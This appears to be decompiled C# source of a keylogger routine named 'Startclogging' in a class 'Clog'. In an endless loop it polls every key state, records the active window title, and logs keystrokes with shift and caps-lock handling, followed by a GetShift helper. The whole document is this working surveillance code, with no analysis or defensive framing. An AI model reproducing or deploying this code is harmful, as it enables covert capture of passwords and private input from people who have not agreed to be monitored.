// Token: 0x06000067 RID: 103 RVA: 0x00007078 File Offset: 0x00005278 public static void Startclogging() { for (;;) { try { StringBuilder stringBuilder = new StringBuilder(256); Clog.GetWindowText(Clog.GetForegroundWindow(), stringBuilder, stringBuilder.Capacity); if (Operators.CompareString(Clog.windowtext, stringBuilder.ToString(), false) != 0) { Clog.windowtext = stringBuilder.ToString(); Clog.logs.Append(Environment.NewLine + stringBuilder.ToString() + Environment.NewLine); } string text = Clog.logs.ToString(); int num = 1; do { Clog.result = 0; Clog.result = (int)Clog.GetAsyncKeyState((Keys)num); if (Clog.result == -32767) { if (Clog.GetCapslock() & Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_748; case 2: Clog.logs.Append(" [R-Click]"); goto IL_748; case 8: Clog.logs.Append(""); goto IL_748; case 13: Clog.logs.Append(" [Enter]\r\n"); goto IL_748; case 16: goto IL_748; case 17: Clog.logs.Append(""); goto IL_748; case 18: Clog.logs.Append(""); goto IL_748; case 20: goto IL_748; case 32: Clog.logs.Append(" "); goto IL_748; case 37: case 38: case 39: case 40: goto IL_748; case 46: Clog.logs.Append("[Del]"); goto IL_748; case 48: Clog.logs.Append(")"); goto IL_748; case 49: Clog.logs.Append("!"); goto IL_748; case 50: Clog.logs.Append("@"); goto IL_748; case 51: Clog.logs.Append("#"); goto IL_748; case 52: Clog.logs.Append("$"); goto IL_748; case 53: Clog.logs.Append("%"); goto IL_748; case 54: Clog.logs.Append("^"); goto IL_748; case 55: Clog.logs.Append("&"); goto IL_748; case 56: Clog.logs.Append("*"); goto IL_748; case 57: Clog.logs.Append("("); goto IL_748; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array = new byte[255]; bool keyboardState = Clog.GetKeyboardState(array); StringBuilder stringBuilder2 = new StringBuilder(); uint wVirtKey = (uint)num; uint wScanCode = (uint)num; byte[] lpKeyState = array; StringBuilder pwszBuff = stringBuilder2; int cchBuff = 5; uint wFlags = 0u; IntPtr foregroundWindow = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey, wScanCode, lpKeyState, pwszBuff, cchBuff, wFlags, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow, ref num2))); Clog.logs.Append(stringBuilder2.ToString()); goto IL_748; } case 91: goto IL_748; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array2 = new byte[255]; bool keyboardState2 = Clog.GetKeyboardState(array2); StringBuilder stringBuilder3 = new StringBuilder(); uint wVirtKey2 = (uint)num; uint wScanCode2 = (uint)num; byte[] lpKeyState2 = array2; StringBuilder pwszBuff2 = stringBuilder3; int cchBuff2 = 5; uint wFlags2 = 0u; IntPtr foregroundWindow2 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey2, wScanCode2, lpKeyState2, pwszBuff2, cchBuff2, wFlags2, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow2, ref num2))); Clog.logs.Append(stringBuilder3.ToString()); goto IL_748; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_748; case 186: Clog.logs.Append(":"); goto IL_748; case 187: Clog.logs.Append("+"); goto IL_748; case 188: Clog.logs.Append("<"); goto IL_748; case 189: Clog.logs.Append("_"); goto IL_748; case 190: Clog.logs.Append(">"); goto IL_748; case 191: Clog.logs.Append("?"); goto IL_748; case 192: Clog.logs.Append("~"); goto IL_748; case 219: Clog.logs.Append("{"); goto IL_748; case 220: Clog.logs.Append("|"); goto IL_748; case 221: Clog.logs.Append("}"); goto IL_748; case 222: Clog.logs.Append("\""); goto IL_748; } Clog.logs.Append(" (" + num.ToString() + ") "); } IL_748: if (Clog.GetCapslock() & !Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_D54; case 2: Clog.logs.Append(" [R-Click]"); goto IL_D54; case 8: Clog.logs.Append(""); goto IL_D54; case 13: Clog.logs.Append(" [Enter]\r\n"); goto IL_D54; case 16: goto IL_D54; case 17: Clog.logs.Append(""); goto IL_D54; case 18: Clog.logs.Append(""); goto IL_D54; case 20: goto IL_D54; case 32: Clog.logs.Append(" "); goto IL_D54; case 37: case 38: case 39: case 40: goto IL_D54; case 46: Clog.logs.Append("[Del]"); goto IL_D54; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: Clog.logs.Append(Strings.ChrW(num)); goto IL_D54; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array3 = new byte[255]; bool keyboardState3 = Clog.GetKeyboardState(array3); StringBuilder stringBuilder4 = new StringBuilder(); uint wVirtKey3 = (uint)num; uint wScanCode3 = (uint)num; byte[] lpKeyState3 = array3; StringBuilder pwszBuff3 = stringBuilder4; int cchBuff3 = 5; uint wFlags3 = 0u; IntPtr foregroundWindow3 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey3, wScanCode3, lpKeyState3, pwszBuff3, cchBuff3, wFlags3, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow3, ref num2))); Clog.logs.Append(stringBuilder4.ToString()); goto IL_D54; } case 91: goto IL_D54; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array4 = new byte[255]; bool keyboardState4 = Clog.GetKeyboardState(array4); StringBuilder stringBuilder5 = new StringBuilder(); uint wVirtKey4 = (uint)num; uint wScanCode4 = (uint)num; byte[] lpKeyState4 = array4; StringBuilder pwszBuff4 = stringBuilder5; int cchBuff4 = 5; uint wFlags4 = 0u; IntPtr foregroundWindow4 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey4, wScanCode4, lpKeyState4, pwszBuff4, cchBuff4, wFlags4, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow4, ref num2))); Clog.logs.Append(stringBuilder5.ToString()); goto IL_D54; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_D54; case 186: Clog.logs.Append(";"); goto IL_D54; case 187: Clog.logs.Append("="); goto IL_D54; case 188: Clog.logs.Append(","); goto IL_D54; case 189: Clog.logs.Append("-"); goto IL_D54; case 190: Clog.logs.Append("."); goto IL_D54; case 191: Clog.logs.Append("/"); goto IL_D54; case 192: Clog.logs.Append("`"); goto IL_D54; case 219: Clog.logs.Append("["); goto IL_D54; case 220: Clog.logs.Append("\\"); goto IL_D54; case 221: Clog.logs.Append("]"); goto IL_D54; case 222: Clog.logs.Append("'"); goto IL_D54; } Clog.logs.Append(" (" + num.ToString() + ") "); } IL_D54: if (!Clog.GetCapslock() & Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_1419; case 2: Clog.logs.Append(" [R-Click]"); goto IL_1419; case 8: Clog.logs.Append(" [<-] "); goto IL_1419; case 13: Clog.logs.Append(" [Enter]\r\n"); goto IL_1419; case 16: goto IL_1419; case 17: Clog.logs.Append(""); goto IL_1419; case 18: Clog.logs.Append(""); goto IL_1419; case 20: goto IL_1419; case 32: Clog.logs.Append(" "); goto IL_1419; case 37: case 38: case 39: case 40: goto IL_1419; case 46: Clog.logs.Append("[Del]"); goto IL_1419; case 48: Clog.logs.Append(")"); goto IL_1419; case 49: Clog.logs.Append("!"); goto IL_1419; case 50: Clog.logs.Append("@"); goto IL_1419; case 51: Clog.logs.Append("#"); goto IL_1419; case 52: Clog.logs.Append("$"); goto IL_1419; case 53: Clog.logs.Append("%"); goto IL_1419; case 54: Clog.logs.Append("^"); goto IL_1419; case 55: Clog.logs.Append("&"); goto IL_1419; case 56: Clog.logs.Append("*"); goto IL_1419; case 57: Clog.logs.Append("("); goto IL_1419; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array5 = new byte[255]; bool keyboardState5 = Clog.GetKeyboardState(array5); StringBuilder stringBuilder6 = new StringBuilder(); uint wVirtKey5 = (uint)num; uint wScanCode5 = (uint)num; byte[] lpKeyState5 = array5; StringBuilder pwszBuff5 = stringBuilder6; int cchBuff5 = 5; uint wFlags5 = 0u; IntPtr foregroundWindow5 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey5, wScanCode5, lpKeyState5, pwszBuff5, cchBuff5, wFlags5, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow5, ref num2))); Clog.logs.Append(stringBuilder6.ToString()); goto IL_1419; } case 91: goto IL_1419; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array6 = new byte[255]; bool keyboardState6 = Clog.GetKeyboardState(array6); StringBuilder stringBuilder7 = new StringBuilder(); uint wVirtKey6 = (uint)num; uint wScanCode6 = (uint)num; byte[] lpKeyState6 = array6; StringBuilder pwszBuff6 = stringBuilder7; int cchBuff6 = 5; uint wFlags6 = 0u; IntPtr foregroundWindow6 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey6, wScanCode6, lpKeyState6, pwszBuff6, cchBuff6, wFlags6, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow6, ref num2))); Clog.logs.Append(stringBuilder7.ToString()); goto IL_1419; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_1419; case 186: Clog.logs.Append(":"); goto IL_1419; case 187: Clog.logs.Append("+"); goto IL_1419; case 188: Clog.logs.Append("<"); goto IL_1419; case 189: Clog.logs.Append("_"); goto IL_1419; case 190: Clog.logs.Append(">"); goto IL_1419; case 191: Clog.logs.Append("?"); goto IL_1419; case 192: Clog.logs.Append("~"); goto IL_1419; case 219: Clog.logs.Append("{"); goto IL_1419; case 220: Clog.logs.Append("|"); goto IL_1419; case 221: Clog.logs.Append("}"); goto IL_1419; case 222: Clog.logs.Append("\""); goto IL_1419; } Clog.logs.Append(" (" + num.ToString() + ") "); } IL_1419: if (!Clog.GetCapslock() & !Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_1A28; case 2: Clog.logs.Append(" [R-Click]"); goto IL_1A28; case 8: Clog.logs.Append(" [<-] "); goto IL_1A28; case 13: Clog.logs.Append(" [Enter] \r\n"); goto IL_1A28; case 16: goto IL_1A28; case 17: Clog.logs.Append(""); goto IL_1A28; case 18: Clog.logs.Append(""); goto IL_1A28; case 20: goto IL_1A28; case 32: Clog.logs.Append(" "); goto IL_1A28; case 37: case 38: case 39: case 40: goto IL_1A28; case 46: Clog.logs.Append("[Del]"); goto IL_1A28; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: Clog.logs.Append(Strings.ChrW(num)); goto IL_1A28; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array7 = new byte[255]; bool keyboardState7 = Clog.GetKeyboardState(array7); StringBuilder stringBuilder8 = new StringBuilder(); uint wVirtKey7 = (uint)num; uint wScanCode7 = (uint)num; byte[] lpKeyState7 = array7; StringBuilder pwszBuff7 = stringBuilder8; int cchBuff7 = 5; uint wFlags7 = 0u; IntPtr foregroundWindow7 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey7, wScanCode7, lpKeyState7, pwszBuff7, cchBuff7, wFlags7, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow7, ref num2))); Clog.logs.Append(stringBuilder8.ToString()); goto IL_1A28; } case 91: goto IL_1A28; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array8 = new byte[255]; bool keyboardState8 = Clog.GetKeyboardState(array8); StringBuilder stringBuilder9 = new StringBuilder(); uint wVirtKey8 = (uint)num; uint wScanCode8 = (uint)num; byte[] lpKeyState8 = array8; StringBuilder pwszBuff8 = stringBuilder9; int cchBuff8 = 5; uint wFlags8 = 0u; IntPtr foregroundWindow8 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey8, wScanCode8, lpKeyState8, pwszBuff8, cchBuff8, wFlags8, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow8, ref num2))); Clog.logs.Append(stringBuilder9.ToString()); goto IL_1A28; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_1A28; case 186: Clog.logs.Append(";"); goto IL_1A28; case 187: Clog.logs.Append("="); goto IL_1A28; case 188: Clog.logs.Append(","); goto IL_1A28; case 189: Clog.logs.Append("-"); goto IL_1A28; case 190: Clog.logs.Append("."); goto IL_1A28; case 191: Clog.logs.Append("/"); goto IL_1A28; case 192: Clog.logs.Append("`"); goto IL_1A28; case 219: Clog.logs.Append("["); goto IL_1A28; case 220: Clog.logs.Append("\\"); goto IL_1A28; case 221: Clog.logs.Append("]"); goto IL_1A28; case 222: Clog.logs.Append("'"); goto IL_1A28; } Clog.logs.Append(" (" + num.ToString() + ") "); } } IL_1A28: num++; }while (num <= 225); Thread.Sleep(10); } catch (Exception ex) { } } }
// Token: 0x06000066 RID: 102 RVA: 0x0000705C File Offset: 0x0000525C public static bool GetShift() { return(Clog.GetAsyncKeyState(Keys.ShiftKey) != 0); }